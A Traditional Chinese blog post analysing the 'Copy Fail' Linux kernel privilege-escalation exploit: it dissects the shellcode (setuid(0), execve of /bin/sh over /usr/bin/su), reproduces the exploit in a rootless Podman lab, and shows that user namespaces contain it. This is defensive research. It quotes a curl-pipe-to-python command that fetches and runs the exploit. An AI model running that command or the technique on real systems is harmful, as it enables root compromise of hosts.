在上篇關於 SELinux MCS 和 GitLab 執行器的文章中,我曾簡要提及 CVE-2026-31431(「Copy Fail」)作為每項任務 VM 隔離的動機範例。該文發布後,我花了一個週末搭建實驗室來實際運行此漏洞利用程式,在系統呼叫層級追蹤它,並驗證我們部署在 GNOME 執行器上的無 root Podman 架構能否阻止它。本文記錄了整個過程:從拆解 shellcode 到即時觀察核心拒絕權限升級。
關於根本原因、scatterlist 機制和揭露時間線的完整技術分析,請閱讀 Theori 在 xint.io/blog/copy-fail-linux-distributions 的精彩文章。在本部落格文章中,我們將首先分析公開漏洞利用程式中嵌入的 shellcode,然後搭建實驗室在無 root 容器內運行它,並隨後追蹤核心層級發生的情況。
在揭露後的幾天裡,我注意到許多人在未經檢查 shellcode 實際作用的情況下,就在自己的系統上運行此漏洞利用程式。執行來自您從未審核過的 GitHub 儲存庫的壓縮二進位檔並不是一個好的安全實踐——您可能不知道它可能正在竊取資料或在權限升級的同時植入後門。因此,在運行任何程式碼之前,讓我們看看實際的 shellcode 包含什麼。
shellcode 嵌入在 Python 漏洞利用程式中,作為一個壓縮並經過十六進位編碼的字串:
該腳本使用 zlib.decompress() 將其轉換為原始位元組。要提取和檢查載荷:
對提取的二進位檔運行 file 命令,證實了我們的預期:
這不是原始 shellcode——它是一個完整的 ELF 可執行檔。漏洞利用程式會用這個微小的二進位檔覆蓋 /usr/bin/su 的開頭。當作業系統執行 su 時,它會從頁面快取載入損壞的頁面,並運行惡意 ELF 而不是合法的工具程式。
標準的 objdump -d shellcode.bin 沒有輸出,因為漏洞利用程式作者使用了稱為 ELF golfing 的技術——剝離 Section Headers 以將載荷壓縮到幾十個位元組。沒有 .text 區段,objdump 就會放棄。要強制原始反組譯:
前約 0x77 個位元組是 ELF 頭部資料,objdump 會嘗試將其解釋為組合語言,產生無意義的 add %al,(%rax) 指令。實際程式碼從偏移量 0x78 開始。這是帶有註釋的完整反組譯:
setuid(0) 系統呼叫(偏移量 0x78 至 0x7e):
xor %edi, %edi 將 rdi 設定為 0——系統呼叫的第一個參數。mov $0x69, %al 載入 105(十進位),這是 Linux x64 的 setuid 系統呼叫號碼。syscall 指令執行 setuid(0)。
execve("/bin/sh") 系統呼叫(偏移量 0x80 至 0x8d):
lea 0xf(%rip), %rdi 是一個 RIP 相對載入——它查看當前指令指標前方 15 個位元組,正好落在偏移量 0x96 處,即 /bin/sh 字串的開頭。xor %esi, %esi 將 argv 設定為 NULL。push $0x3b / pop %rax 序列是一個 golfing 技巧,可以用更少的位元組載入 59(execve)。cltd 將 eax 符號擴展到 edx,用一個位元組將第三個參數(envp)歸零。最後的 syscall 執行 execve("/bin/sh", NULL, NULL)。
乾淨的退出(偏移量 0x8f 至 0x94):
如果 execve 失敗,載荷會調用 exit(0)(syscall 60),而不是崩潰。
硬編碼字串(偏移量 0x96 至 0x9d):
objdump 將這些標記為(錯誤),因為它試圖將資料解碼為指令。將十六進位位元組 2f 62 69 6e 2f 73 68 00 轉換為 ASCII 會得到 /bin/sh\0——偏移量 0x80 處的 lea 指令指向的空終止字串。
為了重現此漏洞,我使用 virt-install 佈建了一個 Fedora 43 VM。我安裝的核心版本是 6.17.1-300.fc43.x86_64,這完全早於修復——補丁已向後移植到穩定的 6.19.x 樹,從 6.19.12 開始,因此整個 6.17.x 系列都存在漏洞。
在 Fedora VM 上,我按照我們在 GNOME 的 GitLab 執行器上使用的模式配置了無 root Podman——一個帶有 linger 啟用的專用 podman 系統使用者,用於網路的 pasta(slirp4netns 的現代替代品),以及大量的 Sub-UID/Sub-GID 分配。
在容器內運行 strace 需要兩個覆蓋:--cap-add=SYS_PTRACE(容器運行時預設會刪除此功能)和 --security-opt seccomp=unconfined(預設的 seccomp 設定檔會阻止 ptrace)。沒有這兩者,strace 會立即因 PTRACE_TRACEME: Operation not permitted 而失敗。
我事先將 copy_fail_exp.py 下載到本地目錄——下面的命令中的 /vuln 掛載點指向該目錄。值得注意的是:我也看到有人透過 curl https://copy.fail/exp | python3 && su 直接運行此漏洞利用程式,這與在檢查 shellcode 之前運行它一樣魯莽。請務必下載、閱讀並理解您即將執行的程式碼。
從主機 VM 以 podman 使用者身份執行:
在容器內部,我安裝了 strace,創建了一個未授權的測試使用者,並運行了漏洞利用程式:
strace 的輸出捕獲了漏洞損壞頁面快取的確切機制。漏洞利用程式會循環遍歷 shellcode 載荷,一次寫入四個位元組到 /usr/bin/su 的記憶體快取中:
此模式重複數十次,直到整個惡意 ELF 載荷被載入到頁面快取中。最後:
該腳本執行 su,它從損壞的頁面快取載入並運行惡意載荷,而不是合法的二進位檔。
漏洞利用程式成功地在頁面快取中覆蓋了 /usr/bin/su,執行了 shellcode,並在容器內升級為 root——提示變為 [root@ce307d49e132 testuser]#,setuid(0) 返回成功。但這個 root 被使用者命名空間 UID 映射所限制。
無 root Podman 依賴於 Linux 使用者命名空間。當您啟動一個無 root 容器時,Podman 會創建一個使用者命名空間,其中容器的內部 UID 空間被映射到主機上的非特權 UID。核心允許 setuid(0) 成功,因為命名空間內的 UID 0 是一個有效的身份——但它被映射到主機上的非特權使用者。正如我們在下面的 uid_map 證明部分驗證的那樣,容器 root(UID 0)直接映射到主機上的 UID 1000——podman 使用者帳戶。漏洞利用程式的「root」shell 在主機層級的權限不比該非特權使用者多。它無法修改主機系統檔案,無法存取 /etc/shadow,也無法與命名空間外的其他主機進程互動。
使用 strace 來觀察 setuid(0) 被拒絕有一個複雜之處。當 ptrace 附加到執行 SUID 二進位檔的進程時,核心會觸發 secureexec 過渡並暫時暫停事件報告,以防止非特權調試程式劫持潛在的特權進程。setuid(0) 調用發生在此盲點期間,因此 strace 會錯過它。
為了在沒有調試程式干擾的情況下觀察核心拒絕調用,我在主機上使用了 bpftrace。eBPF 直接掛鉤到核心追蹤點,不受 ptrace 限制:
在主機上運行此程式後,我在容器內運行了漏洞利用程式,同時有和沒有 strace 的情況下。bpftrace 輸出捕獲了所有運行:
-1 回應(EPERM)對應於附加了 strace 的運行。當 ptrace 附加到執行 SUID 二進位檔的進程時,核心會預先剝離 SUID 權限,以防止調試程式劫持潛在的特權進程。
0 回應對應於沒有 strace 的原生運行。漏洞利用程式成功了——setuid(0) 返回成功,提示變為 [root@ce307d49e132 testuser]#。但這是容器內的 root,正如下面的使用者命名空間映射所示——在主機上只是 UID 1000。漏洞利用程式在容器的命名空間內實現了完整的權限升級,但命名空間邊界阻止了它在主機上有任何意義。
最後的證據來自核心的 UID 映射表。在無 root 容器內部:
第一行是關鍵的:0 1000 1 表示容器內的 UID 0(root)被映射到主機上的 UID 1000——我的非特權 podman 使用者。其餘行映射了我們之前配置的從屬 UID 範圍。
透過在容器內運行 sleep 100 並檢查主機進程表,從主機端進行確認:
該進程由 podman 擁有,而不是 root。即使在容器內有 root 提示,每個操作都受到 UID 1000 在主機上能做什麼的限制。漏洞利用程式的「root」shell 無法修改主機系統檔案,無法存取 /etc/shadow,也無法與主機進程互動——它被困在使用者命名空間邊界內。
無 root 容器按預期處理了這種容器逃逸場景。漏洞利用程式在容器內獲得了 root 權限,但使用者命名空間 UID 映射確保了 root 在主機上只是我的非特權 podman 使用者。頁面快取寫入成功,shellcode 被執行,setuid(0) 返回成功——而這一切在命名空間邊界之外都無關緊要。這正是無 root 架構的設計初衷,這也是我們這樣運行 GNOME 的 GitLab 執行器的原因,至少目前是這樣,直到我們更深入地研究透過 Cloud Hypervisor + fleeting-plugin-fleetingd 實現的臨時微 VM。
對於運行 OpenShift 的用戶,我強烈建議為 Pod 啟用使用者命名空間支援。使用者命名空間從 OpenShift 4.20 開始正式可用,並提供了與我們在此處使用無 root Podman 演示的相同 UID 映射隔離——容器 root 映射到非特權主機使用者,這意味著像 Copy Fail 這樣的核心 LPE 無法逃逸 Pod 邊界,即使漏洞利用程式本身成功。
編輯 1(2026 年 5 月 5 日):雖然無 root 容器阻止了攻擊者升級到主機 root,但頁面快取仍然在主機之間共享。重用相同基礎映像層的容器會共享這些層的相同快取頁面——如果惡意的 CI 作業損壞了頁面快取中的二進位檔,從同一映像啟動的其他容器可能會執行被污染的版本。這在一定程度上破壞了容器之間的隔離,而無需逃逸到主機。
如果我們還沒有考慮完全從容器轉向臨時微 VM,我會投入一個領域是複製 CargoWall 為 GitHub Actions 在 GitLab CI 中所做的事情。屆時,即使攻擊者獲得了容器存取權限並修改了具有特定指令的二進位檔——例如讀取環境變數並將其發送到外部伺服器——它也無法發送憑證或遠端獲取惡意軟體,因為 DNS 查詢將被 eBPF 攔截並透過 CoreDNS 代理路由。
話雖如此,我仍然認為無 root 容器將攻擊複雜性大大提高,遠超一行命令。利用共享頁面快取場景需要了解底層主機的其他詳細資訊:存在哪些容器映像和共享映像層,這些映像是否包含 setuid 二進位檔,以及其他 CI 作業是否在建置過程中明確調用這些二進位檔。
編輯 2(2026 年 5 月 5 日):對於不使用無 root Podman 的 OpenShift 環境(正如我之前提到的,這是 OCP 4.20 中最近正式推出的安全功能),還有另一種情況值得一提。在 OpenShift 中,允許用於容器建置(例如 Tekton)的 SCC(安全上下文約束)中的 CAP_SETGID / CAP_SETUID 是常見做法,以便容器可以創建巢狀容器(透過 allowPrivilegeEscalation=True)。在此配置下,託管 OpenShift 平台內的任何租戶都可以輕鬆地以容器內的 UID 0 身分執行命令,而該 UID 0 直接映射到主機的 UID 0。重要的區別在於,這個 root 使用者沒有 CAP_SYS_ADMIN 或大多數其他特權核心功能(因為它們在容器創建時已被核心剝離),這意味著儘管技術上是 UID 0,但它實際上可以在主機上執行的操作仍然非常有限。